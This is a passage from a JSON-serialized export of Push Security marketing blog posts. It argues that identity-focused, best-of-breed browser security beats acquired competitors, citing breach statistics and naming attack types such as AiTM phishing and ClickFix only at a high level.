positives. Your requirements might not carry the same weight with a platform vendor with tens of thousands of customers across multiple product lines, versus a dedicated vendor whose entire roadmap exists to solve your problem. And factor in lock-in: every capability consolidated into an existing platform vendor reduces your ability to change direction later.",{"data":41493,"content":41494,"nodeType":1005},{},[],{"data":41496,"content":41497,"nodeType":1009},{},[41498],{"data":41499,"marks":41500,"value":41502,"nodeType":864},{},[41501],{"type":899},"Why Push is the best-of-breed browser security solution",{"data":41504,"content":41505,"nodeType":860},{},[41506],{"data":41507,"marks":41508,"value":41509,"nodeType":864},{},[],"Think of Push as EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Here’s why customers choose Push as a best-of-breed solution:",{"data":41511,"content":41512,"nodeType":1312},{},[41513,41518],{"data":41514,"marks":41515,"value":41517,"nodeType":864},{},[41516],{"type":899},"Push is built for the security problems that actually cause breaches",{"data":41519,"marks":41520,"value":1171,"nodeType":864},{},[],{"data":41522,"content":41523,"nodeType":860},{},[41524,41528,41535],{"data":41525,"marks":41526,"value":41527,"nodeType":864},{},[],"The highest-value browser security problems — account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, shadow SaaS and OAuth governance — all require visibility inside the browser session. Push was built from the ground up for exactly that. The same foundational capability that detects AiTM phishing and ClickFix attacks also surfaces the exposure most security teams don't know they have: ",{"data":41529,"content":41530,"nodeType":883},{"uri":13714},[41531],{"data":41532,"marks":41533,"value":41534,"nodeType":864},{},[],"across Push's customer base",{"data":41536,"marks":41537,"value":41538,"nodeType":864},{},[],", 1 in 4 logins use passwords rather than SSO, 2 in 5 are unprotected by MFA, and 46.76% of browser extensions carry permissions sufficient to perform account takeover — none of it visible from the endpoint, network, or email layer.",{"data":41540,"content":41541,"nodeType":1312},{},[41542],{"data":41543,"marks":41544,"value":41546,"nodeType":864},{},[41545],{"type":899},"Push detects high-fidelity attacker TTPs, not low-level IoCs",{"data":41548,"content":41549,"nodeType":860},{},[41550],{"data":41551,"marks":41552,"value":41553,"nodeType":864},{},[],"Push's browser extension operates as a flight recorder inside the session, capturing every page load, credential submission, OAuth consent flow, and user action in real time. That telemetry surfaces attacker behavior — the page structure and script signatures of AiTM kits, the clipboard mechanics of ClickFix, the OAuth flow characteristics of ConsentFix — rather than infrastructure indicators that attackers rotate in minutes. This is how Push intercepts “zero-day” phishing using fresh infrastructure and domains every time, while most solutions are stuck playing known-bad whac-a-mole. ",{"data":41555,"content":41559,"nodeType":996},{"target":41556},{"sys":41557},{"id":41558,"type":1001,"linkType":1002},"4ho5gOHl1loo9Jtv9nPoq1",[],{"data":41561,"content":41562,"nodeType":1312},{},[41563],{"data":41564,"marks":41565,"value":41567,"nodeType":864},{},[41566],{"type":899},"Push’s research and agentic threat hunting keeps you ahead of attacker innovation",{"data":41569,"content":41570,"nodeType":860},{},[41571,41575,41581,41584,41590,41594,41600],{"data":41572,"marks":41573,"value":41574,"nodeType":864},{},[],"Push named ",{"data":41576,"content":41577,"nodeType":883},{"uri":6036},[41578],{"data":41579,"marks":41580,"value":6041,"nodeType":864},{},[],{"data":41582,"marks":41583,"value":902,"nodeType":864},{},[],{"data":41585,"content":41586,"nodeType":883},{"uri":6024},[41587],{"data":41588,"marks":41589,"value":6029,"nodeType":864},{},[],{"data":41591,"marks":41592,"value":41593,"nodeType":864},{},[]," before any other vendor detected either in production. That research feeds an ",{"data":41595,"content":41596,"nodeType":883},{"uri":7180},[41597],{"data":41598,"marks":41599,"value":13394,"nodeType":864},{},[],{"data":41601,"marks":41602,"value":41603,"nodeType":864},{},[]," built on two learning loops — an inner loop for real-time detection of known techniques, and an outer loop where autonomous agents continuously hunt across 3 million deployed browsers for emerging threats, writing new detections and deploying them to customer environments in minutes. ",{"data":41605,"content":41609,"nodeType":996},{"target":41606},{"sys":41607},{"id":41608,"type":1001,"linkType":1002},"17y3jchoPysKQTf2ra59Bv",[],{"data":41611,"content":41612,"nodeType":1312},{},[41613],{"data":41614,"marks":41615,"value":41617,"nodeType":864},{},[41616],{"type":899},"Push solves more use cases than just stopping advanced attacks",{"data":41619,"content":41620,"nodeType":860},{},[41621,41625,41632],{"data":41622,"marks":41623,"value":41624,"nodeType":864},{},[],"Push uses the same browser-layer visibility to surface every AI tool, agentic browser, extension, and OAuth integration in use across the organization — and enforce policy on what employees can do inside them in real time, including unsanctioned tools no other layer sees. The same technical capabilities provided by Push also harden the identity attack surface, prevent data loss, accelerate insider investigations, and let security teams write custom detections and policies for organization-specific risks. One extension, one deployment, ",{"data":41626,"content":41627,"nodeType":883},{"uri":33700},[41628],{"data":41629,"marks":41630,"value":41631,"nodeType":864},{},[],"multiple high-value use cases",{"data":41633,"marks":41634,"value":2924,"nodeType":864},{},[],{"data":41636,"content":41637,"nodeType":1312},{},[41638],{"data":41639,"marks":41640,"value":41642,"nodeType":864},{},[41641],{"type":899},"Push is built to be operationalized at scale, not just demoed",{"data":41644,"content":41645,"nodeType":860},{},[41646,41650,41657],{"data":41647,"marks":41648,"value":41649,"nodeType":864},{},[],"Push deploys to ",{"data":41651,"content":41652,"nodeType":883},{"uri":34569},[41653],{"data":41654,"marks":41655,"value":41656,"nodeType":864},{},[],"100,000 users in under one hour on a normal workday",{"data":41658,"marks":41659,"value":41660,"nodeType":864},{},[]," — no migration overhead or performance impact. The false positive rate is negligible, meaning no alert noise and no policy tuning overhead. And because Push is independent, it integrates into open ecosystems — feeding browser-layer telemetry into your SIEM, XDR, SOAR, and identity tools alongside the rest of your stack, without adding to your platform lock-in.",{"data":41662,"content":41663,"nodeType":1005},{},[],{"data":41665,"content":41666,"nodeType":1009},{},[41667],{"data":41668,"marks":41669,"value":41671,"nodeType":864},{},[41670],{"type":899},"Final thoughts",{"data":41673,"content":41674,"nodeType":860},{},[41675],{"data":41676,"marks":41677,"value":41678,"nodeType":864},{},[],"Three acquisitions in five months is a strong market signal, but a strong market signal about vendor interest in a category is not the same thing as a strong signal about capability. The attacker techniques and tooling behind breaches in 2026 are evolving faster than any acquired product with split engineering priorities can reasonably track. ",{"data":41680,"content":41681,"nodeType":860},{},[41682],{"data":41683,"marks":41684,"value":41685,"nodeType":864},{},[],"Security buyers who accept a bundled browser solution because it is included in an existing contract are making a procurement decision, not a security decision. The threats in the browser are serious and sophisticated enough to justify the investment in a tool built to stop them. If you agree, Push is worth a serious look.",{"data":41687,"content":41688,"nodeType":860},{},[41689,41692,41699],{"data":41690,"marks":41691,"value":21,"nodeType":864},{},[],{"data":41693,"content":41694,"nodeType":883},{"uri":1700},[41695],{"data":41696,"marks":41697,"value":1703,"nodeType":864},{},[41698],{"type":1455},{"data":41700,"marks":41701,"value":21,"nodeType":864},{},[],{"entries":41703},{"hyperlink":41704,"inline":41705,"block":41706},[],[],[41707,41725],{"sys":41708,"__typename":1740,"content":41709,"name":41724,"title":59},{"id":41558},{"json":41710},{"nodeType":856,"data":41711,"content":41712},{},[41713],{"nodeType":860,"data":41714,"content":41715},{},[41716,41721],{"nodeType":864,"value":41717,"marks":41718,"data":41720},"In a 30-day POV at a ~4,500-employee financial services organization with a mature existing stack, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to every other tool in place",[41719],{"type":899},{},{"nodeType":864,"value":2924,"marks":41722,"data":41723},[],{},"Best of breed blog IB1",{"sys":41726,"__typename":1740,"content":41727,"name":41757,"title":59},{"id":41608},{"json":41728},{"nodeType":856,"data":41729,"content":41730},{},[41731],{"nodeType":860,"data":41732,"content":41733},{},[41734,41738,41744,41748,41753],{"nodeType":864,"value":41735,"marks":41736,"data":41737},"Our ",[],{},{"nodeType":883,"data":41739,"content":41740},{"uri":7180},[41741],{"nodeType":864,"value":7185,"marks":41742,"data":41743},[],{},{"nodeType":864,"value":41745,"marks":41746,"data":41747}," has ",[],{},{"nodeType":864,"value":41749,"marks":41750,"data":41752},"tripled the new detections shipped per month",[41751],{"type":899},{},{"nodeType":864,"value":41754,"marks":41755,"data":41756}," — and as a dedicated browser security vendor, that's where every research dollar goes. When attackers are harnessing AI to develop tooling, deploy and tear-down infrastructure, and operate campaigns at scale, this capability is essential to stay ahead of the increased volume and variation in threats that users are encountering in the browser. ",[],{},"Best of breed blog IB2",{"items":41759},[],{},"The case for best-of-breed browser security",{"items":41763},[41764,42545,43266],{"__typename":2059,"sys":41765,"content":41767,"title":42532,"synopsis":42533,"hashTags":59,"publishedDate":34681,"slug":42534,"tagsCollection":42535,"authorsCollection":42541},{"id":41766},"2V130uMePtxAaefYQAKInb",{"json":41768},{"data":41769,"content":41770,"nodeType":856},{},[41771,41777,41784,41791,41798,41801,41809,41816,41828,41840,41845,41852,41855,41863,41870,41876,41883,41890,41997,42004,42007,42015,42022,42085,42101,42107,42114,42117,42125,42132,42140,42147,42154,42185,42192,42200,42207,42214,42221,42229,42236,42243,42250,42253,42261,42273,42280,42287,42295,42302,42309,42317,42324,42387,42403,42421,42429,42436,42444,42451,42458,42465,42471,42479,42486,42493,42499,42506,42513,42520,42526],{"data":41772,"content":41776,"nodeType":996},{"target":41773},{"sys":41774},{"id":41775,"type":1001,"linkType":1002},"5CPZ96xixlhgh6oqQ2rfmO",[],{"data":41778,"content":41779,"nodeType":860},{},[41780],{"data":41781,"marks":41782,"value":41783,"nodeType":864},{},[],"When a security team evaluates browser security solutions, they're usually asking the right question: “How do we protect our users as they work in the browser?”",{"data":41785,"content":41786,"nodeType":860},{},[41787],{"data":41788,"marks":41789,"value":41790,"nodeType":864},{},[],"But the answer they get from many vendors is shaped by a fundamentally different threat model — one that treats the browser as a piece of software to be hardened against exploitation, rather than as the arena where your users’ identities get stolen.",{"data":41792,"content":41793,"nodeType":860},{},[41794],{"data":41795,"marks":41796,"value":41797,"nodeType":864},{},[],"This distinction has enormous consequences for your security posture and the return you can expect from your investment in a new solution.",{"data":41799,"content":41800,"nodeType":1005},{},[],{"data":41802,"content":41803,"nodeType":1009},{},[41804],{"data":41805,"marks":41806,"value":41808,"nodeType":864},{},[41807],{"type":899},"Two different problems, dressed the same",{"data":41810,"content":41811,"nodeType":860},{},[41812],{"data":41813,"marks":41814,"value":41815,"nodeType":864},{},[],"When it comes to protecting users as they work in the browser, security tools typically fall into one of two camps:",{"data":41817,"content":41818,"nodeType":860},{},[41819,41824],{"data":41820,"marks":41821,"value":41823,"nodeType":864},{},[41822],{"type":899},"The first camp:",{"data":41825,"marks":41826,"value":41827,"nodeType":864},{},[]," represented by solutions like Seraphic (now CrowdStrike) — is built around the threat of attacking the browser itself. The architecture is designed to scramble the browser’s JavaScript runtime and prevent exploits from detonating and breaking out of the browser sandbox. This is browser hardening: defending the browser as software against exploitation by attackers who want to compromise the underlying device.",{"data":41829,"content":41830,"nodeType":860},{},[41831,41836],{"data":41832,"marks":41833,"value":41835,"nodeType":864},{},[41834],{"type":899},"The second camp:",{"data":41837,"marks":41838,"value":41839,"nodeType":864},{},[]," and the one Push Security occupies uniquely, focuses on what happens inside the browser when a user is working normally. Phishing pages harvesting credentials. Session tokens being stolen. Malicious OAuth applications being granted access through social engineering. Adversary-in-the-middle proxies intercepting authentication flows. These attacks don't exploit the browser. They exploit the human — and now agents — using it via the browser's legitimate capabilities (think of it as LOTL, browser edition).",{"data":41841,"content":41844,"nodeType":996},{"target":41842},{"sys":41843},{"id":5895,"type":1001,"linkType":1002},[],{"data":41846,"content":41847,"nodeType":860},{},[41848],{"data":41849,"marks":41850,"value":41851,"nodeType":864},{},[],"The question for any security team evaluating this space: which of these threat models presents the greatest risks to my organization?",{"data":41853,"content":41854,"nodeType":1005},{},[],{"data":41856,"content":41857,"nodeType":1009},{},[41858],{"data":41859,"marks":41860,"value":41862,"nodeType":864},{},[41861],{"type":899},"How organizations are actually being breached",{"data":41864,"content":41865,"nodeType":860},{},[41866],{"data":41867,"marks":41868,"value":41869,"nodeType":864},{},[],"Let's look at the major breach campaigns of the last three years without the marketing filter and a pattern emerges immediately. Scattered Spider and its successors breached MGM Resorts, Caesars, M&S, JLR, and Salesforce customers — not through browser exploits, but through social engineering, phishing and Adversary-in-the-Middle attacks that stole session tokens and SSO credentials. ",{"data":41871,"content":41875,"nodeType":996},{"target":41872},{"sys":41873},{"id":41874,"type":1001,"linkType":1002},"2qIMTiyyIsQFAyGJ9Ikyej",[],{"data":41877,"content":41878,"nodeType":860},{},[41879],{"data":41880,"marks":41881,"value":41882,"nodeType":864},{},[],"In every case, the attack happened in the browser — using stolen identities to log into legitimate cloud services — not on the browser through exploitation of the browser engine itself.",{"data":41884,"content":41885,"nodeType":860},{},[41886],{"data":41887,"marks":41888,"value":41889,"nodeType":864},{},[],"The data from major threat intelligence sources is unambiguous:",{"data":41891,"content":41892,"nodeType":941},{},[41893,41911,41930,41949,41968,41982],{"data":41894,"content":41895,"nodeType":945},{},[41896],{"data":41897,"content":41898,"nodeType":860},{},[41899,41903,41907],{"data":41900,"marks":41901,"value":41902,"nodeType":864},{},[],"Identity weaknesses played a material role in ",{"data":41904,"marks":41905,"value":41247,"nodeType":864},{},[41906],{"type":899},{"data":41908,"marks":41909,"value":41910,"nodeType":864},{},[]," (Palo Alto Networks Unit 42 IR Report)",{"data":41912,"content":41913,"nodeType":945},{},[41914],{"data":41915,"content":41916,"nodeType":860},{},[41917,41921,41926],{"data":41918,"marks":41919,"value":41920,"nodeType":864},{},[],"Credential abuse and phishing combined accounted for ",{"data":41922,"marks":41923,"value":41925,"nodeType":864},{},[41924],{"type":899},"38% of all breaches",{"data":41927,"marks":41928,"value":41929,"nodeType":864},{},[],", making identity the single largest breach vector (Verizon DBIR 2025)",{"data":41931,"content":41932,"nodeType":945},{},[41933],{"data":41934,"content":41935,"nodeType":860},{},[41936,41940,41945],{"data":41937,"marks":41938,"value":41939,"nodeType":864},{},[],"Cloud-conscious intrusions — attackers using stolen identities to access cloud services — rose ",{"data":41941,"marks":41942,"value":41944,"nodeType":864},{},[41943],{"type":899},"37% in 2025",{"data":41946,"marks":41947,"value":41948,"nodeType":864},{},[],", up 266% among state-nexus actors (CrowdStrike 2026 Global Threat Report)",{"data":41950,"content":41951,"nodeType":945},{},[41952],{"data":41953,"content":41954,"nodeType":860},{},[41955,41959,41964],{"data":41956,"marks":41957,"value":41958,"nodeType":864},{},[],"In cloud-related incidents, identity issues drove initial access in ",{"data":41960,"marks":41961,"value":41963,"nodeType":864},{},[41962],{"type":899},"83% of cases",{"data":41965,"marks":41966,"value":41967,"nodeType":864},{},[]," (Mandiant / Google Cloud Threat Horizons H1 2026)",{"data":41969,"content":41970,"nodeType":945},{},[41971],{"data":41972,"content":41973,"nodeType":860},{},[41974,41978],{"data":41975,"marks":41976,"value":11789,"nodeType":864},{},[41977],{"type":899},{"data":41979,"marks":41980,"value":41981,"nodeType":864},{},[]," — they don't touch the endpoint and abuse legitimate access and functionality (CrowdStrike 2026 Global Threat Report)",{"data":41983,"content":41984,"nodeType":945},{},[41985],{"data":41986,"content":41987,"nodeType":860},{},[41988,41993],{"data":41989,"marks":41990,"value":41992,"nodeType":864},{},[41991],{"type":899},"49% of organizations",{"data":41994,"marks":41995,"value":41996,"nodeType":864},{},[]," suffered a successful browser-based attack in the last 12 months (Omdia 2026)",{"data":41998,"content":41999,"nodeType":860},{},[42000],{"data":42001,"marks":42002,"value":42003,"nodeType":864},{},[],"These aren't edge cases. This is now the primary attack playbook.",{"data":42005,"content":42006,"nodeType":1005},{},[],{"data":42008,"content":42009,"nodeType":1312},{},[42010],{"data":42011,"marks":42012,"value":42014,"nodeType":864},{},[42013],{"type":899},"The economics of attack choice",{"data":42016,"content":42017,"nodeType":860},{},[42018],{"data":42019,"marks":42020,"value":42021,"nodeType":864},{},[],"Attackers are rational actors. They pick the cheapest, most reliable path to their objective. The economics of browser exploitation versus identity theft tell the whole story:",{"data":42023,"content":42024,"nodeType":941},{},[42025,42040,42055,42070],{"data":42026,"content":42027,"nodeType":945},{},[42028],{"data":42029,"content":42030,"nodeType":860},{},[42031,42035],{"data":42032,"marks":42033,"value":42034,"nodeType":864},{},[],"Chrome sandbox RCE exploit (bug bounty value): ",{"data":42036,"marks":42037,"value":42039,"nodeType":864},{},[42038],{"type":899},"$250,000",{"data":42041,"content":42042,"nodeType":945},{},[42043],{"data":42044,"content":42045,"nodeType":860},{},[42046,42050],{"data":42047,"marks":42048,"value":42049,"nodeType":864},{},[],"IAB-provided IdP admin account: ",{"data":42051,"marks":42052,"value":42054,"nodeType":864},{},[42053],{"type":899},"~$3,000",{"data":42056,"content":42057,"nodeType":945},{},[42058],{"data":42059,"content":42060,"nodeType":860},{},[42061,42065],{"data":42062,"marks":42063,"value":42064,"nodeType":864},{},[],"1-year phishing kit rental (PhaaS): ",{"data":42066,"marks":42067,"value":42069,"nodeType":864},{},[42068],{"type":899},"~$1,000",{"data":42071,"content":42072,"nodeType":945},{},[42073],{"data":42074,"content":42075,"nodeType":860},{},[42076,42080],{"data":42077,"marks":42078,"value":42079,"nodeType":864},{},[],"Bulk stolen credential list: ",{"data":42081,"marks":42082,"value":42084,"nodeType":864},{},[42083],{"type":899},"~$15",{"data":42086,"content":42087,"nodeType":860},{},[42088,42092,42097],{"data":42089,"marks":42090,"value":42091,"nodeType":864},{},[],"Browser zero-days accounted for just ",{"data":42093,"marks":42094,"value":42096,"nodeType":864},{},[42095],{"type":899},"9% of all zero-days reported to Google in 2025",{"data":42098,"marks":42099,"value":42100,"nodeType":864},{},[]," — described by Google's own researchers as a \"historic low.\" Chrome's sandbox architecture, site isolation, and hardware-backed security features are the result of years of sustained hardening investment. When a browser vulnerability is discovered, Google typically deploys a patch within days.",{"data":42102,"content":42106,"nodeType":996},{"target":42103},{"sys":42104},{"id":42105,"type":1001,"linkType":1002},"5XWKHTT5J06yWcgZIOL95t",[],{"data":42108,"content":42109,"nodeType":860},{},[42110],{"data":42111,"marks":42112,"value":42113,"nodeType":864},{},[],"The bottom line: browser exploits are extraordinarily expensive to develop, increasingly difficult to execute reliably against a hardened modern browser, and patched rapidly when discovered. In sharp contrast, identity attacks are cheap to run, highly scalable, and have a low technical barrier to adoption — that’s why they’re responsible for the overwhelming majority of enterprise breaches. Attackers have voted with their resources.",{"data":42115,"content":42116,"nodeType":1005},{},[],{"data":42118,"content":42119,"nodeType":1009},{},[42120],{"data":42121,"marks":42122,"value":42124,"nodeType":864},{},[42123],{"type":899},"What you're actually buying with each vendor",{"data":42126,"content":42127,"nodeType":860},{},[42128],{"data":42129,"marks":42130,"value":42131,"nodeType":864},{},[],"Understanding the core architectural choice each vendor has made helps decode what their solution can and cannot protect you from.",{"data":42133,"content":42134,"nodeType":1312},{},[42135],{"data":42136,"marks":42137,"value":42139,"nodeType":864},{},[42138],{"type":899},"Seraphic (CrowdStrike)",{"data":42141,"content":42142,"nodeType":860},{},[42143],{"data":42144,"marks":42145,"value":42146,"nodeType":864},{},[],"Seraphic's architecture is built to inject into the browser's JavaScript runtime at the OS layer, scrambling browser internals to prevent exploits from executing. This is a technically sophisticated approach to a technically interesting problem that is, by every threat intelligence measure, not the problem causing enterprise breaches at scale.",{"data":42148,"content":42149,"nodeType":860},{},[42150],{"data":42151,"marks":42152,"value":42153,"nodeType":864},{},[],"Beyond the threat model mismatch, there are structural concerns with the approach itself. Injecting an agent into the browser's JS runtime is a technique with well-documented stability consequences. This is the same approach antivirus vendors have used for years, often at the cost of system stability. Seraphic now runs alongside the CrowdStrike Falcon sensor on managed devices, combining two heavyweight agents on the same machine. For any organization with CrowdStrike already deployed, the question isn't theoretical: how has that combination been validated in production environments?",{"data":42155,"content":42156,"nodeType":860},{},[42157,42161,42168,42172,42181],{"data":42158,"marks":42159,"value":42160,"nodeType":864},{},[],"There's also the managed-device limitation. Seraphic requires a kernel-level agent, which means it loses meaningful capability on unmanaged devices, BYOD machines, and contractor endpoints. This is not a niche concern: according to ",{"data":42162,"content":42163,"nodeType":883},{"uri":2561},[42164],{"data":42165,"marks":42166,"value":42167,"nodeType":864},{},[],"Omdia's 2026 browser security survey",{"data":42169,"marks":42170,"value":42171,"nodeType":864},{},[],", 32% of users access corporate applications from unmanaged devices at least occasionally. Agent-based solutions are blind to nearly a third of your actual attack surface by design. The Okta breach began on a support engineer's personal device, where ",{"data":42173,"content":42175,"nodeType":883},{"uri":42174},"https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/",[42176],{"data":42177,"marks":42178,"value":42180,"nodeType":864},{},[42179],{"type":1455},"corporate credentials had synced",{"data":42182,"marks":42183,"value":42184,"nodeType":864},{},[]," via Chrome's built-in profile sync. No agent, no visibility.",{"data":42186,"content":42187,"nodeType":860},{},[42188],{"data":42189,"marks":42190,"value":42191,"nodeType":864},{},[],"Teams evaluating Seraphic today are also buying into an integration roadmap, not a shipped capability. The acquisition by CrowdStrike closed in early 2026. The work of wiring browser telemetry into Falcon Fusion and correlating it with endpoint signals is currently a promise, not a production feature.",{"data":42193,"content":42194,"nodeType":1312},{},[42195],{"data":42196,"marks":42197,"value":42199,"nodeType":864},{},[42198],{"type":899},"SquareX (Zscaler)",{"data":42201,"content":42202,"nodeType":860},{},[42203],{"data":42204,"marks":42205,"value":42206,"nodeType":864},{},[],"SquareX's core capability is sandboxing suspicious file downloads inside disposable browser containers before they reach the endpoint. This is a legitimate approach to a real but declining problem. 82% of attack detections are now malware-free (CrowdStrike 2026 Global Threat Report) — attacks don't arrive as files to be sandboxed, they arrive as authenticated sessions. And the delivery channel shift makes the picture even starker: across Push's customer base, 1 in 3 phishing payloads are now delivered outside of email entirely — via social media, ads, and messaging platforms — and 4 in 5 ClickFix payloads arrive through search engines, not email. The threat that SquareX was architecturally designed to address is a shrinking share of the actual attack surface, and it's shrinking fast.",{"data":42208,"content":42209,"nodeType":860},{},[42210],{"data":42211,"marks":42212,"value":42213,"nodeType":864},{},[],"Zscaler already has sandboxing built into ZIA. For an existing Zscaler customer evaluating SquareX, the honest question is: what does this add beyond some extension analysis capability and what you already have? The AiTM phishing campaign that stole your user's credentials and accessed your cloud applications generates no malicious file, triggers no sandbox, and produces no network signal for Zscaler's traffic inspection to catch — because it happened entirely inside a browser session using legitimate authentication flows.",{"data":42215,"content":42216,"nodeType":860},{},[42217],{"data":42218,"marks":42219,"value":42220,"nodeType":864},{},[],"The acquisition also raises product focus questions. Being absorbed into a network-centric platform means SquareX is now optimized for Zscaler's priorities, not for standalone browser detection and response. Teams that care about investigation, threat hunting, and incident response should ask specifically what SquareX adds in those workflows under Zscaler ownership.",{"data":42222,"content":42223,"nodeType":1312},{},[42224],{"data":42225,"marks":42226,"value":42228,"nodeType":864},{},[42227],{"type":899},"LayerX",{"data":42230,"content":42231,"nodeType":860},{},[42232],{"data":42233,"marks":42234,"value":42235,"nodeType":864},{},[],"LayerX is primarily a policy enforcement and risk scoring platform focused on internal governance — controlling which applications employees access, what data moves through the browser, and whether behavior complies with internal rules.",{"data":42237,"content":42238,"nodeType":860},{},[42239],{"data":42240,"marks":42241,"value":42242,"nodeType":864},{},[],"Push Security covers that ground too. Push provides full visibility over AI tool usage, shadow SaaS, unmanaged identities, and data loss vectors — including sensitive data submitted through AI prompts, file uploads to personal cloud destinations, and OAuth grants to third-party applications. The same browser telemetry that detects external attacks also surfaces insider risks and powers DLP controls and compliance audit evidence, all from a single extension.",{"data":42244,"content":42245,"nodeType":860},{},[42246],{"data":42247,"marks":42248,"value":42249,"nodeType":864},{},[],"The critical difference is that Push goes significantly further. Where LayerX scores risk and enforces policy, Push detects active external attack techniques in real time: AiTM phishing kits as they execute, session tokens being stolen, ClickFix lures through behavioral analysis of page structure. These are the attacks causing the most damaging breaches today, and they don't surface on a risk score until after the damage is done. Push addresses both the governance problem and the external threat problem from the same platform. LayerX addresses only the first.",{"data":42251,"content":42252,"nodeType":1005},{},[],{"data":42254,"content":42255,"nodeType":1009},{},[42256],{"data":42257,"marks":42258,"value":42260,"nodeType":864},{},[42259],{"type":899},"Securing the organization via the browser: Push Security",{"data":42262,"content":42263,"nodeType":860},{},[42264,42269],{"data":42265,"marks":42266,"value":42268,"nodeType":864},{},[42267],{"type":899},"Push Security is built on a different architectural premise:",{"data":42270,"marks":42271,"value":42272,"nodeType":864},{},[]," the browser is not primarily a piece of software to harden against exploitation. It is the primary workplace, the primary SaaS access point, and the arena where the majority of modern identity attacks play out. The goal is to secure the organization via the browser — not just to secure the browser itself.",{"data":42274,"content":42275,"nodeType":860},{},[42276],{"data":42277,"marks":42278,"value":42279,"nodeType":864},{},[],"This means Push's detection surface is built around the attacks that are actually causing breaches: adversary-in-the-middle phishing, ClickFix and its many variants, credential stuffing against shadow identities, session token theft and replay, OAuth consent abuse, and the full spectrum of identity-based initial access techniques that dominate the modern threat landscape.",{"data":42281,"content":42282,"nodeType":860},{},[42283],{"data":42284,"marks":42285,"value":42286,"nodeType":864},{},[],"The deployment model reflects the threat model. Push deploys as a lightweight browser extension — no kernel-level agent, no device dependency, no migration to a new browser. It works on managed and unmanaged devices, across every traditional, enterprise and AI browser where employees are doing work and attackers are targeting them. The operational overhead is minimal by design: Push has been deployed to 100,000 users in under one hour during normal business hours.",{"data":42288,"content":42289,"nodeType":1312},{},[42290],{"data":42291,"marks":42292,"value":42294,"nodeType":864},{},[42293],{"type":899},"Detection philosophy: targeting what attackers can't change",{"data":42296,"content":42297,"nodeType":860},{},[42298],{"data":42299,"marks":42300,"value":42301,"nodeType":864},{},[],"Push's detection approach targets attacker TTPs rather than indicators of compromise that attackers can rotate in minutes. 95% of attacks detected by Push used some form of bot protection service — meaning the specific domain and IP were deliberately obscured. If your primary detection relies on blocklists, recent reports tell us that 89% of phishing domains will evade you: because they're active for less than two days, they can be spun up, down, and replaced faster than blocklists can keep up.",{"data":42303,"content":42304,"nodeType":860},{},[42305],{"data":42306,"marks":42307,"value":42308,"nodeType":864},{},[],"Behavioral detection of the attack technique — the AiTM relay structure, the credential entry on a cloned login page, the anomalous session context — remains valid regardless of what domain the attack is hosted on or which PhaaS kit was used to build it.",{"data":42310,"content":42311,"nodeType":1312},{},[42312],{"data":42313,"marks":42314,"value":42316,"nodeType":864},{},[42315],{"type":899},"Measuring the identity attack surface (it's bigger than you realize)",{"data":42318,"content":42319,"nodeType":860},{},[42320],{"data":42321,"marks":42322,"value":42323,"nodeType":864},{},[],"Because Push has visibility into actual login behavior across thousands of organizations, it can quantify the attack surface that identity-based attacks exploit. Of the last million logins observed by Push:",{"data":42325,"content":42326,"nodeType":941},{},[42327,42342,42357,42372],{"data":42328,"content":42329,"nodeType":945},{},[42330],{"data":42331,"content":42332,"nodeType":860},{},[42333,42338],{"data":42334,"marks":42335,"value":42337,"nodeType":864},{},[42336],{"type":899},"15 corporate identities were identified per employee",{"data":42339,"marks":42340,"value":42341,"nodeType":864},{},[]," used to access cloud apps",{"data":42343,"content":42344,"nodeType":945},{},[42345],{"data":42346,"content":42347,"nodeType":860},{},[42348,42353],{"data":42349,"marks":42350,"value":42352,"nodeType":864},{},[42351],{"type":899},"1 in 4",{"data":42354,"marks":42355,"value":42356,"nodeType":864},{},[]," were password logins, not SSO",{"data":42358,"content":42359,"nodeType":945},{},[42360],{"data":42361,"content":42362,"nodeType":860},{},[42363,42368],{"data":42364,"marks":42365,"value":42367,"nodeType":864},{},[42366],{"type":899},"2 in 5",{"data":42369,"marks":42370,"value":42371,"nodeType":864},{},[]," were not protected by MFA",{"data":42373,"content":42374,"nodeType":945},{},[42375],{"data":42376,"content":42377,"nodeType":860},{},[42378,42383],{"data":42379,"marks":42380,"value":42382,"nodeType":864},{},[42381],{"type":899},"1 in 5",{"data":42384,"marks":42385,"value":42386,"nodeType":864},{},[]," used a weak, breached, or reused password",{"data":42388,"content":42389,"nodeType":860},{},[42390,42394,42399],{"data":42391,"marks":42392,"value":42393,"nodeType":864},{},[],"And it's not just login hygiene. Across Push's customer base, ",{"data":42395,"marks":42396,"value":42398,"nodeType":864},{},[42397],{"type":899},"46%+ of browser extensions in corporate environments have the permission combinations required for direct account takeover via session theft if they are malicious or compromised by an attacker",{"data":42400,"marks":42401,"value":42402,"nodeType":864},{},[],". Most organizations have no inventory of what's running in their employees' browsers, let alone visibility into what those extensions can access.",{"data":42404,"content":42405,"nodeType":860},{},[42406,42410,42417],{"data":42407,"marks":42408,"value":42409,"nodeType":864},{},[],"These aren't theoretical vulnerabilities. They're the specific weaknesses that browser-native identity attacks are designed to exploit. ",{"data":42411,"content":42412,"nodeType":883},{"uri":3210},[42413],{"data":42414,"marks":42415,"value":42416,"nodeType":864},{},[],"This visibility turns browser security from a reactive posture into a proactive one",{"data":42418,"marks":42419,"value":42420,"nodeType":864},{},[]," — you can see and remediate the identity weaknesses before an attacker exploits them, not just detect the attack while it's in progress.",{"data":42422,"content":42423,"nodeType":1312},{},[42424],{"data":42425,"marks":42426,"value":42428,"nodeType":864},{},[42427],{"type":899},"The ROI case",{"data":42430,"content":42431,"nodeType":860},{},[42432],{"data":42433,"marks":42434,"value":42435,"nodeType":864},{},[],"The ROI question for any security investment is: what quantum of real risk does this tool address, at what cost in money and operational friction?",{"data":42437,"content":42438,"nodeType":860},{},[42439],{"data":42440,"marks":42441,"value":42443,"nodeType":864},{},[42442],{"type":899},"That calculation looks very different depending on your threat model.",{"data":42445,"content":42446,"nodeType":860},{},[42447],{"data":42448,"marks":42449,"value":42450,"nodeType":864},{},[],"A solution focused on browser engine exploits and sandbox escapes is defending against an attack category that represents a tiny fraction of actual enterprise breaches, requires extraordinary attacker resources to execute, and is increasingly mitigated by browser vendors themselves through hardening and rapid patching. Chrome's automatic update cycle means that even when a browser vulnerability is discovered and disclosed, it is typically in front of users as a patch within days. The defenders here are Google, Mozilla, and Microsoft — with multi-billion dollar security teams and full access to the browser internals.",{"data":42452,"content":42453,"nodeType":860},{},[42454],{"data":42455,"marks":42456,"value":42457,"nodeType":864},{},[],"A solution focused on 